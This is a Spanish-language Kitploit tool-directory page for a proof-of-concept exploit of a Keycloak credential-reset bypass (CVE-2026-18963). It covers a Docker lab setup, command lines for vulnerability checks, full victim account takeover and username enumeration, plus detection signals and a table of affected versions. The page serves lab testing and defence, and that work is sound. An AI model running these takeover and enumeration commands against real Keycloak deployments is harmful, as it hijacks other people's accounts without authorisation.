Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Keycloak_CVE-2026-18963_PoC — Este repositorio es un PoC de cve-2026-18963. Por favor, úsalo en productos legales (laboratorio, local, ...). | Kitploit
Herramientas/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónLabs y Práctica
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

Este repositorio es un PoC de cve-2026-18963. Por favor, úsalo en productos legales (laboratorio, local, ...).

Ver Repositorio
12hace 2 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-18963

Omisión de restablecimiento de credenciales en Keycloak → toma de control de cuenta no autenticada CVSS 9.1 | Afecta: Keycloak 26.0.0 – 26.7.1

Este laboratorio está reconstruido a partir del README original de snizi/cve-2026-18963-exploit.


Estructura

root@kitploit:~
CVE-2026-18963/
├── cve_2026_18963_poc.py   <- Script PoC (Python 3.9+, solo biblioteca estándar)
├── README.md
├── docker-compose.yml      <- Entorno de laboratorio
└── realm-poc.json          <- Configuración del realm de Keycloak (importación automática)

Requisitos

  • Docker + Docker Compose
  • Python 3.9+ (solo biblioteca estándar, nada que instalar)
  • Linux

Paso 1: Iniciar el laboratorio

root@kitploit:~
docker compose up -d

O ejecutar Keycloak directamente, sin la importación del realm:

root@kitploit:~
docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Espera ~30–60 segundos a que Keycloak termine de arrancar.

Servicios

ServicioURLVersiónEstado
kc-vulnhttp://localhost:808026.7.1VULNERABLE ⚠️
Mailpithttp://localhost:8025latestCaptura correos

Credenciales por defecto

  • Administrador de Keycloak: admin / admin
  • Usuario víctima: victim / OriginalPassw0rd!
  • Realm: poc | Cliente: poc-app
  • Verificar configuración: Realm settings → pestaña Login → Forgot password está ACTIVADO.
  • Si el realm poc o el usuario victim no existen, impórtalos manualmente: Manage realms → Create realm → Subir realm-poc.json.

Paso 2: Ejecutar el PoC

Comprobación segura (no requiere nombre de usuario, sin efectos secundarios)

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

Resultado esperado en kc-vuln: [!] VULNERABLE — email gate execution served


Prueba no destructiva (se detiene en el formulario Update Password)

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

Efectos secundarios: se envía un correo de restablecimiento a la víctima (consúltalo en http://localhost:8025), y emailVerified se establece en true.


Toma de control completa

root@kitploit:~
python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

Después, verifica iniciando sesión en http://localhost:8080/realms/poc/account con victim / PoCPassw0rd!1.


Enumeración de usuarios

root@kitploit:~
printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

Paso 3: Restablecer la víctima a su estado inicial

El realm solo se importa en el primer arranque, por lo que el restablecimiento más sencillo es recrear el entorno desde cero:

root@kitploit:~
docker compose down -v && docker compose up -d

Alternativamente, restablece la contraseña manualmente en la consola de administración (http://localhost:8080/admin): Users → victim → Credentials → Reset password → OriginalPassw0rd!.


Desmontaje

root@kitploit:~
docker compose down -v

Señales de detección

SeñalLegítimoExploit
GET /login-actions/action-token?...✅ Sí❌ No
POST .../reset-credentials con cuerpo tryAnotherWay=yes❌ No✅ Sí
SEND_RESET_PASSWORD → UPDATE_PASSWORD con el mismo code_id < 2 sRaro✅ Siempre
emailVerified cambia a true sin evento VERIFY_EMAIL❌✅ Siempre

En Mailpit (http://localhost:8025) el correo de restablecimiento de contraseña llega al buzón de la víctima, pero el enlace que contiene nunca se hace clic cuando el exploit tiene éxito.


Versiones afectadas

Línea de versiónAfectadaCorrección
≤ 17 (WildFly)No—
26.0 – 26.326.0.0 – 26.x.xNinguna (debe migrar a 26.7.2)
26.426.4.0 – 26.4.1426.4.15 (backport del proveedor)
26.526.5.0 – 26.5.7Ninguna
26.626.6.0 – 26.6.526.6.6 (backport del proveedor)
26.726.7.0 – 26.7.126.7.2 ✅

Las versiones anteriores a 26.0 no están afectadas: la nota persistente AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED y la pantalla del selector "Try another way" en el flujo de restablecimiento se introdujeron en 26.0.0. Las compilaciones más antiguas simplemente carecen de la ruta de código vulnerable; eso no es lo mismo que estar parcheadas.


Referencias

  • Sploitus (README original): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • Problema de Keycloak: https://github.com/keycloak/keycloak/issues/51833
  • PR de corrección: https://github.com/keycloak/keycloak/pull/51844
  • GHSA: GHSA-4gv3-mc9p-5wqc
  • Red Hat: https://access.redhat.com/security/cve/cve-2026-18963
Descargar herramienta